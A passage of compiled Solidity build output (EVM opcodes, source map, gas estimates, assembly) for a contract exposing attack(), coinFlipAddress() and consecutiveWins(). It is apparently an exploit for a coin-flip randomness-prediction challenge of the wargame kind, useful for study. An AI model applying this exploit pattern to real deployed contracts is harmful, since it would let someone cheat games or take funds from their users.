MSTORE POP POP POP POP SWAP1 POP PUSH1 0x0 DUP1 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP4 PUSH1 0x40 MLOAD PUSH2 0x1F1 SWAP2 SWAP1 PUSH2 0x49D JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP7 GAS CALL SWAP2 POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x22E JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x233 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP SWAP2 POP SWAP2 POP DUP2 PUSH2 0x278 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x26F SWAP1 PUSH2 0x511 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 DUP2 DUP1 PUSH1 0x20 ADD SWAP1 MLOAD DUP2 ADD SWAP1 PUSH2 0x28E SWAP2 SWAP1 PUSH2 0x562 JUMP JUMPDEST SWAP1 POP DUP1 SWAP8 POP POP POP POP POP POP POP POP SWAP1 JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x2CE DUP3 PUSH2 0x2A3 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x2DE DUP2 PUSH2 0x2C3 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2F9 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x2D5 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x314 DUP2 PUSH2 0x2FF JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x32F PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x30B JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x348 DUP2 PUSH2 0x335 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x363 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x33F JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x3A3 DUP3 PUSH2 0x335 JUMP JUMPDEST SWAP2 POP PUSH2 0x3AE DUP4 PUSH2 0x335 JUMP JUMPDEST SWAP3 POP DUP3 DUP3 SUB SWAP1 POP DUP2 DUP2 GT ISZERO PUSH2 0x3C6 JUMPI PUSH2 0x3C5 PUSH2 0x369 JUMP JUMPDEST JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x12 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x406 DUP3 PUSH2 0x335 JUMP JUMPDEST SWAP2 POP PUSH2 0x411 DUP4 PUSH2 0x335 JUMP JUMPDEST SWAP3 POP DUP3 PUSH2 0x421 JUMPI PUSH2 0x420 PUSH2 0x3CC JUMP JUMPDEST JUMPDEST DUP3 DUP3 DIV SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x460 JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x445 JUMP JUMPDEST PUSH1 0x0 DUP5 DUP5 ADD MSTORE POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x477 DUP3 PUSH2 0x42C JUMP JUMPDEST PUSH2 0x481 DUP2 DUP6 PUSH2 0x437 JUMP JUMPDEST SWAP4 POP PUSH2 0x491 DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x442 JUMP JUMPDEST DUP1 DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x4A9 DUP3 DUP5 PUSH2 0x46C JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x43616C6C206661696C6564000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x4FB PUSH1 0xB DUP4 PUSH2 0x4B4 JUMP JUMPDEST SWAP2 POP PUSH2 0x506 DUP3 PUSH2 0x4C5 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x52A DUP2 PUSH2 0x4EE JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x53F DUP2 PUSH2 0x2FF JUMP JUMPDEST DUP2 EQ PUSH2 0x54A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x55C DUP2 PUSH2 0x536 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x578 JUMPI PUSH2 0x577 PUSH2 0x531 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x586 DUP5 DUP3 DUP6 ADD PUSH2 0x54D JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 CALLER EXTCODECOPY EQ BYTE 0x21 0xBA 0x4C RETURNDATACOPY 0xC2 DUP3 DUP4 0xA7 0xE0 SELFDESTRUCT 0xAE 0x1F CALLVALUE ADDMOD 0x4B PUSH1 0xC PUSH22 0x6CA766E357D053D47A1064736F6C6343000812003300 ", "sourceMap": "57:1194:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;89:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;408:841;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;125:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;89;;;;;;;;;;;;:::o;408:841::-;442:4;458:18;512:1;497:12;:16;;;;:::i;:::-;487:27;479:36;;458:57;;542:10;530:8;;:22;526:59;;566:8;;;526:59;606:10;595:8;:21;;;;626:16;658:6;;645:10;:19;;;;:::i;:::-;626:38;;674:9;698:1;686:8;:13;:28;;709:5;686:28;;;702:4;686:28;674:40;;813:20;874:4;836:43;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;813:66;;961:12;975:19;998:15;;;;;;;;;;:20;;1019:7;998:29;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;960:67;;;;1046:7;1038:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;1162:15;1191:6;1180:26;;;;;;;;;;;;:::i;:::-;1162:44;;1232:10;1225:17;;;;;;;;;408:841;:::o;125:30::-;;;;:::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:96::-;176:7;205:24;223:5;205:24;:::i;:::-;194:35;;139:96;;;:::o;241:118::-;328:24;346:5;328:24;:::i;:::-;323:3;316:37;241:118;;:::o;365:222::-;458:4;496:2;485:9;481:18;473:26;;509:71;577:1;566:9;562:17;553:6;509:71;:::i;:::-;365:222;;;;:::o;593:90::-;627:7;670:5;663:13;656:21;645:32;;593:90;;;:::o;689:109::-;770:21;785:5;770:21;:::i;:::-;765:3;758:34;689:109;;:::o;804:210::-;891:4;929:2;918:9;914:18;906:26;;942:65;1004:1;993:9;989:17;980:6;942:65;:::i;:::-;804:210;;;;:::o;1020:77::-;1057:7;1086:5;1075:16;;1020:77;;;:::o;1103:118::-;1190:24;1208:5;1190:24;:::i;:::-;1185:3;1178:37;1103:118;;:::o;1227:222::-;1320:4;1358:2;1347:9;1343:18;1335:26;;1371:71;1439:1;1428:9;1424:17;1415:6;1371:71;:::i;:::-;1227:222;;;;:::o;1455:180::-;1503:77;1500:1;1493:88;1600:4;1597:1;1590:15;1624:4;1621:1;1614:15;1641:194;1681:4;1701:20;1719:1;1701:20;:::i;:::-;1696:25;;1735:20;1753:1;1735:20;:::i;:::-;1730:25;;1779:1;1776;1772:9;1764:17;;1803:1;1797:4;1794:11;1791:37;;;1808:18;;:::i;:::-;1791:37;1641:194;;;;:::o;1841:180::-;1889:77;1886:1;1879:88;1986:4;1983:1;1976:15;2010:4;2007:1;2000:15;2027:185;2067:1;2084:20;2102:1;2084:20;:::i;:::-;2079:25;;2118:20;2136:1;2118:20;:::i;:::-;2113:25;;2157:1;2147:35;;2162:18;;:::i;:::-;2147:35;2204:1;2201;2197:9;2192:14;;2027:185;;;;:::o;2218:98::-;2269:6;2303:5;2297:12;2287:22;;2218:98;;;:::o;2322:147::-;2423:11;2460:3;2445:18;;2322:147;;;;:::o;2475:246::-;2556:1;2566:113;2580:6;2577:1;2574:13;2566:113;;;2665:1;2660:3;2656:11;2650:18;2646:1;2641:3;2637:11;2630:39;2602:2;2599:1;2595:10;2590:15;;2566:113;;;2713:1;2704:6;2699:3;2695:16;2688:27;2537:184;2475:246;;;:::o;2727:386::-;2831:3;2859:38;2891:5;2859:38;:::i;:::-;2913:88;2994:6;2989:3;2913:88;:::i;:::-;2906:95;;3010:65;3068:6;3063:3;3056:4;3049:5;3045:16;3010:65;:::i;:::-;3100:6;3095:3;3091:16;3084:23;;2835:278;2727:386;;;;:::o;3119:271::-;3249:3;3271:93;3360:3;3351:6;3271:93;:::i;:::-;3264:100;;3381:3;3374:10;;3119:271;;;;:::o;3396:169::-;3480:11;3514:6;3509:3;3502:19;3554:4;3549:3;3545:14;3530:29;;3396:169;;;;:::o;3571:161::-;3711:13;3707:1;3699:6;3695:14;3688:37;3571:161;:::o;3738:366::-;3880:3;3901:67;3965:2;3960:3;3901:67;:::i;:::-;3894:74;;3977:93;4066:3;3977:93;:::i;:::-;4095:2;4090:3;4086:12;4079:19;;3738:366;;;:::o;4110:419::-;4276:4;4314:2;4303:9;4299:18;4291:26;;4363:9;4357:4;4353:20;4349:1;4338:9;4334:17;4327:47;4391:131;4517:4;4391:131;:::i;:::-;4383:139;;4110:419;;;:::o;4616:117::-;4725:1;4722;4715:12;4862:116;4932:21;4947:5;4932:21;:::i;:::-;4925:5;4922:32;4912:60;;4968:1;4965;4958:12;4912:60;4862:116;:::o;4984:137::-;5038:5;5069:6;5063:13;5054:22;;5085:30;5109:5;5085:30;:::i;:::-;4984:137;;;;:::o;5127:345::-;5194:6;5243:2;5231:9;5222:7;5218:23;5214:32;5211:119;;;5249:79;;:::i;:::-;5211:119;5369:1;5394:61;5447:7;5438:6;5427:9;5423:22;5394:61;:::i;:::-;5384:71;;5340:125;5127:345;;;;:::o" }, "gasEstimates": { "creation": { "codeDepositCost": "295400", "executionCost": "infinite", "totalCost": "infinite" }, "external": { "attack()": "infinite", "coinFlipAddress()": "2489", "consecutiveWins()": "2451" } }, "legacyAssembly": { ".code": [ { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "80" }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 57, "end": 1251, "name": "MSTORE", "source": 0 }, { "begin": 200, "end": 277, "name": "PUSH", "source": 0, "value": "8000000000000000000000000000000000000000000000000000000000000000" }, { "begin": 183, "end": 277, "name": "PUSH", "source": 0, "value": "3" }, { "begin": 183, "end": 277, "name": "SSTORE", "source": 0 }, { "begin": 284, "end": 402, "name": "CALLVALUE", "source": 0 }, { "begin": 284, "end": 402, "name": "DUP1", "source": 0 }, { "begin": 284, "end": 402, "name": "ISZERO", "source": 0 }, { "begin": 284, "end": 402, "name": "PUSH [tag]", "source": 0, "value": "1" }, { "begin": 284, "end": 402, "name": "JUMPI", "source": 0 }, { "begin": 284, "end": 402, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 284, "end": 402, "name": "DUP1", "source": 0 }, { "begin": 284, "end": 402, "name": "REVERT", "source": 0 }, { "begin": 284, "end": 402, "name": "tag", "source": 0, "value": "1" }, { "begin": 284, "end": 402, "name": "JUMPDEST", "source": 0 }, { "begin": 284, "end": 402, "name": "POP", "source": 0 }, { "begin": 284, "end": 402, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 284, "end": 402, "name": "MLOAD", "source": 0 }, { "begin": 284, "end": 402, "name": "PUSHSIZE", "source": 0 }, { "begin": 284, "end": 402, "name": "CODESIZE", "source": 0 }, { "begin": 284, "end": 402, "name": "SUB", "source": 0 }, { "begin": 284, "end": 402, "name": "DUP1", "source": 0 }, { "begin": 284, "end": 402, "name": "PUSHSIZE", "source": 0 }, { "begin": 284, "end": 402, "name": "DUP4", "source": 0 }, { "begin": 284, "end": 402, "name": "CODECOPY", "source": 0 }, { "begin": 284, "end": 402, "name": "DUP2", "source": 0 }, { "begin": 284, "end": 402, "name": "DUP2", "source": 0 }, { "begin": 284, "end": 402, "name": "ADD", "source": 0 }, { "begin": 284, "end": 402, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 284, "end": 402, "name": "MSTORE", "source": 0 }, { "begin": 284, "end": 402, "name": "DUP2", "source": 0 }, { "begin": 284, "end": 402, "name": "ADD", "source": 0 }, { "begin": 284, "end": 402, "name": "SWAP1", "source": 0 }, { "begin": 284, "end": 402, "name": "PUSH [tag]", "source": 0, "value": "2" }, { "begin": 284, "end": 402, "name": "SWAP2", "source": 0 }, { "begin": 284, "end": 402, "name": "SWAP1", "source": 0 }, { "begin": 284, "end": 402, "name": "PUSH [tag]", "source": 0, "value": "3" }, { "begin": 284, "end": 402, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 284, "end": 402, "name": "tag", "source": 0, "value": "2" }, { "begin": 284, "end": 402, "name": "JUMPDEST", "source": 0 }, { "begin": 350, "end": 366, "name": "DUP1", "source": 0 }, { "begin": 332, "end": 347, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 332, "end": 347, "name": "DUP1", "source": 0 }, { "begin": 332, "end": 366, "name": "PUSH", "source": 0, "value": "100" }, { "begin": 332, "end": 366, "name": "EXP", "source": 0 }, { "begin": 332, "end": 366, "name": "DUP2", "source": 0 }, { "begin": 332, "end": 366, "name": "SLOAD", "source": 0 }, { "begin": 332, "end": 366, "name": "DUP2", "source": 0 }, { "begin": 332, "end": 366, "name": "PUSH", "source": 0, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 332, "end": 366, "name": "MUL", "source": 0 }, { "begin": 332, "end": 366, "name": "NOT", "source": 0 }, { "begin": 332, "end": 366, "name": "AND", "source": 0 }, { "begin": 332, "end": 366, "name": "SWAP1", "source": 0 }, { "begin": 332, "end": 366, "name": "DUP4", "source": 0 }, { "begin": 332, "end": 366, "name": "PUSH", "source": 0, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 332, "end": 366, "name": "AND", "source": 0 }, { "begin": 332, "end": 366, "name": "MUL", "source": 0 }, { "begin": 332, "end": 366, "name": "OR", "source": 0 }, { "begin": 332, "end": 366, "name": "SWAP1", "source": 0 }, { "begin": 332, "end": 366, "name": "SSTORE", "source": 0 }, { "begin": 332, "end": 366, "name": "POP", "source": 0 }, { "begin": 394, "end": 395, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 376, "end": 391, "name": "PUSH", "source": 0, "value": "1" }, { "begin": 376, "end": 395, "name": "DUP2", "source": 0 }, { "begin": 376, "end": 395, "name": "SWAP1", "source": 0 }, { "begin": 376, "end": 395, "name": "SSTORE", "source": 0 }, { "begin": 376, "end": 395, "name": "POP", "source": 0 }, { "begin": 284, "end": 402, "name": "POP", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH [tag]", "source": 0, "value": "6" }, { "begin": 57, "end": 1251, "name": "JUMP", "source": 0 }, { "begin": 88, "end": 205, "name": "tag", "source": 1, "value": "8" }, { "begin": 88, "end": 205, "name": "JUMPDEST", "source": 1 }, { "begin": 197, "end": 198, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 194, "end": 195, "name": "DUP1", "source": 1 }, { "begin": 187, "end": 199, "name": "REVERT", "source": 1 }, { "begin": 334, "end": 460, "name": "tag", "source": 1, "value": "10" }, { "begin": 334, "end": 460, "name": "JUMPDEST", "source": 1 }, { "begin": 371, "end": 378, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 411, "end": 453, "name": "PUSH", "source": 1, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 404, "end": 409, "name": "DUP3", "source": 1 }, { "begin": 400, "end": 454, "name": "AND", "source": 1 }, { "begin": 389, "end": 454, "name": "SWAP1", "source": 1 }, { "begin": 389, "end": 454, "name": "POP", "source": 1 }, { "begin": 334, "end": 460, "name": "SWAP2", "source": 1 }, { "begin": 334, "end": 460, "name": "SWAP1", "source": 1 }, { "begin": 334, "end": 460, "name": "POP", "source": 1 }, { "begin": 334, "end": 460, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 466, "end": 562, "name": "tag", "source": 1, "value": "11" }, { "begin": 466, "end": 562, "name": "JUMPDEST", "source": 1 }, { "begin": 503, "end": 510, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 532, "end": 556, "name": "PUSH [tag]", "source": 1, "value": "20" }, { "begin": 550, "end": 555, "name": "DUP3", "source": 1 }, { "begin": 532, "end": 556, "name": "PUSH [tag]", "source": 1, "value": "10" }, { "begin": 532, "end": 556, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 532, "end": 556, "name": "tag", "source": 1, "value": "20" }, { "begin": 532, "end": 556, "name": "JUMPDEST", "source": 1 }, { "begin": 521, "end": 556, "name": "SWAP1", "source": 1 }, { "begin": 521, "end": 556, "name": "POP", "source": 1 }, { "begin": 466, "end": 562, "name": "SWAP2", "source": 1 }, { "begin": 466, "end": 562, "name": "SWAP1", "source": 1 }, { "begin": 466, "end": 562, "name": "POP", "source": 1 }, { "begin": 466, "end": 562, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 568, "end": 690, "name": "tag", "source": 1, "value": "12" }, { "begin": 568, "end": 690, "name": "JUMPDEST", "source": 1 }, { "begin": 641, "end": 665, "name": "PUSH [tag]", "source": 1, "value": "22" }, { "begin": 659, "end": 664, "name": "DUP2", "source": 1 }, { "begin": 641, "end": 665, "name": "PUSH [tag]", "source": 1, "value": "11" }, { "begin": 641, "end": 665, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 641, "end": 665, "name": "tag", "source": 1, "value": "22" }, { "begin": 641, "end": 665, "name": "JUMPDEST", "source": 1 }, { "begin": 634, "end": 639, "name": "DUP2", "source": 1 }, { "begin": 631, "end": 666, "name": "EQ", "source": 1 }, { "begin": 621, "end": 684, "name": "PUSH [tag]", "source": 1, "value": "23" }, { "begin": 621, "end": 684, "name": "JUMPI", "source": 1 }, { "begin": 680, "end": 681, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 677, "end": 678, "name": "DUP1", "source": 1 }, { "begin": 670, "end": 682, "name": "REVERT", "source": 1 }, { "begin": 621, "end": 684, "name": "tag", "source": 1, "value": "23" }, { "begin": 621, "end": 684, "name": "JUMPDEST", "source": 1 }, { "begin": 568, "end": 690, "name": "POP", "source": 1 }, { "begin": 568, "end": 690, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 696, "end": 839, "name": "tag", "source": 1, "value": "13" }, { "begin": 696, "end": 839, "name": "JUMPDEST", "source": 1 }, { "begin": 753, "end": 758, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 784, "end": 790, "name": "DUP2", "source": 1 }, { "begin": 778, "end": 791, "name": "MLOAD", "source": 1 }, { "begin": 769, "end": 791, "name": "SWAP1", "source": 1 }, { "begin": 769, "end": 791, "name": "POP", "source": 1 }, { "begin": 800, "end": 833, "name": "PUSH [tag]", "source": 1, "value": "25" }, { "begin": 827, "end": 832, "name": "DUP2", "source": 1 }, { "begin": 800, "end": 833, "name": "PUSH [tag]", "source": 1, "value": "12" }, { "begin": 800, "end": 833, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 800, "end": 833, "name": "tag", "source": 1, "value": "25" }, { "begin": 800, "end": 833, "name": "JUMPDEST", "source": 1 }, { "begin": 696, "end": 839, "name": "SWAP3", "source": 1 }, { "begin": 696, "end": 839, "name": "SWAP2", "source": 1 }, { "begin": 696, "end": 839, "name": "POP", "source": 1 }, { "begin": 696, "end": 839, "name": "POP", "source": 1 }, { "begin": 696, "end": 839, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 845, "end": 1196, "name": "tag", "source": 1, "value": "3" }, { "begin": 845, "end": 1196, "name": "JUMPDEST", "source": 1 }, { "begin": 915, "end": 921, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 964, "end": 966, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 952, "end": 961, "name": "DUP3", "source": 1 }, { "begin": 943, "end": 950, "name": "DUP5", "source": 1 }, { "begin": 939, "end": 962, "name": "SUB", "source": 1 }, { "begin": 935, "end": 967, "name": "SLT", "source": 1 }, { "begin": 932, "end": 1051, "name": "ISZERO", "source": 1 }, { "begin": 932, "end": 1051, "name": "PUSH [tag]", "source": 1, "value": "27" }, { "begin": 932, "end": 1051, "name": "JUMPI", "source": 1 }, { "begin": 970, "end": 1049, "name": "PUSH [tag]", "source": 1, "value": "28" }, { "begin": 970, "end": 1049, "name": "PUSH [tag]", "source": 1, "value": "8" }, { "begin": 970, "end": 1049, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 970, "end": 1049, "name": "tag", "source": 1, "value": "28" }, { "begin": 970, "end": 1049, "name": "JUMPDEST", "source": 1 }, { "begin": 932, "end": 1051, "name": "tag", "source": 1, "value": "27" }, { "begin": 932, "end": 1051, "name": "JUMPDEST", "source": 1 }, { "begin": 1090, "end": 1091, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 1115, "end": 1179, "name": "PUSH [tag]", "source": 1, "value": "29" }, { "begin": 1171, "end": 1178, "name": "DUP5", "source": 1 }, { "begin": 1162, "end": 1168, "name": "DUP3", "source": 1 }, { "begin": 1151, "end": 1160, "name": "DUP6", "source": 1 }, { "begin": 1147, "end": 1169, "name": "ADD", "source": 1 }, { "begin": 1115, "end": 1179, "name": "PUSH [tag]", "source": 1, "value": "13" }, { "begin": 1115, "end": 1179, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 1115, "end": 1179, "name": "tag", "source": 1, "value": "29" }, { "begin": 1115, "end": 1179, "name": "JUMPDEST", "source": 1 }, { "begin": 1105, "end": 1179, "name": "SWAP2", "source": 1 }, { "begin": 1105, "end": 1179, "name": "POP", "source": 1 }, { "begin": 1061, "end": 1189, "name": "POP", "source": 1 }, { "begin": 845, "end": 1196, "name": "SWAP3", "source": 1 }, { "begin": 845, "end": 1196, "name": "SWAP2", "source": 1 }, { "begin": 845, "end": 1196, "name": "POP", "source": 1 }, { "begin": 845, "end": 1196, "name": "POP", "source": 1 }, { "begin": 845, "end": 1196, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 57, "end": 1251, "name": "tag", "source": 0, "value": "6" }, { "begin": 57, "end": 1251, "name": "JUMPDEST", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH #[$]", "source": 0, "value": "0000000000000000000000000000000000000000000000000000000000000000" }, { "begin": 57, "end": 1251, "name": "DUP1", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH [$]", "source": 0, "value": "0000000000000000000000000000000000000000000000000000000000000000" }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 57, "end": 1251, "name": "CODECOPY", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 57, "end": 1251, "name": "RETURN", "source": 0 } ], ".data": { "0": { ".auxdata": "a2646970667358221220333c141a21ba4c3ec28283a7e0ffae1f34084b600c756ca766e357d053d47a1064736f6c63430008120033", ".code": [ { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "80" }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 57, "end": 1251, "name": "MSTORE", "source": 0 }, { "begin": 57, "end": 1251, "name": "CALLVALUE", "source": 0 }, { "begin": 57, "end": 1251, "name": "DUP1", "source": 0 }, { "begin": 57, "end": 1251, "name": "ISZERO", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH [tag]", "source": 0, "value": "1" }, { "begin": 57, "end": 1251, "name": "JUMPI", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 57, "end": 1251, "name": "DUP1", "source": 0 }, { "begin": 57, "end": 1251, "name": "REVERT", "source": 0 }, { "begin": 57, "end": 1251, "name": "tag", "source": 0, "value": "1" }, { "begin": 57, "end": 1251, "name": "JUMPDEST", "source": 0 }, { "begin": 57, "end": 1251, "name": "POP", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "4" }, { "begin": 57, "end": 1251, "name": "CALLDATASIZE", "source": 0 }, { "begin": 57, "end": 1251, "name": "LT", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH [tag]", "source": 0, "value": "2" }, { "begin": 57, "end": 1251, "name": "JUMPI", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 57, "end": 1251, "name": "CALLDATALOAD", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "E0" }, { "begin": 57, "end": 1251, "name": "SHR", "source": 0 }, { "begin": 57, "end": 1251, "name": "DUP1", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "278DE414" }, { "begin": 57, "end": 1251, "name": "EQ", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH [tag]", "source": 0, "value": "3" }, { "begin": 57, "end": 1251, "name": "JUMPI", "source": 0 }, { "begin": 57, "end": 1251, "name": "DUP1", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "9E5FAAFC" }, { "begin": 57, "end": 1251, "name": "EQ", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH [tag]", "source": 0, "value": "4" }, { "begin": 57, "end": 1251, "name": "JUMPI", "source": 0 }, { "begin": 57, "end": 1251, "name": "DUP1", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "E6F334D7" }, { "begin": 57, "end": 1251, "name": "EQ", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH [tag]", "source": 0, "value": "5" }, { "begin": 57, "end": 1251, "name": "JUMPI", "source": 0 }, { "begin": 57, "end": 1251, "name": "tag", "source": 0, "value": "2" }, { "begin": 57, "end": 1251, "name": "JUMPDEST", "source": 0 }, { "begin": 57, "end": 1251, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 57, "end": 1251, "name": "DUP1", "source": 0 }, { "begin": 57, "end": 1251, "name": "REVERT", "source": 0 }, { "begin": 89, "end": 119, "name": "tag", "source": 0, "value": "3" }, { "begin": 89, "end": 119, "name": "JUMPDEST", "source": 0 }, { "begin": 89, "end": 119, "name": "PUSH [tag]", "source": 0, "value": "6" }, { "begin": 89, "end": 119, "name": "PUSH [tag]", "source": 0, "value": "7" }, { "begin": 89, "end": 119, 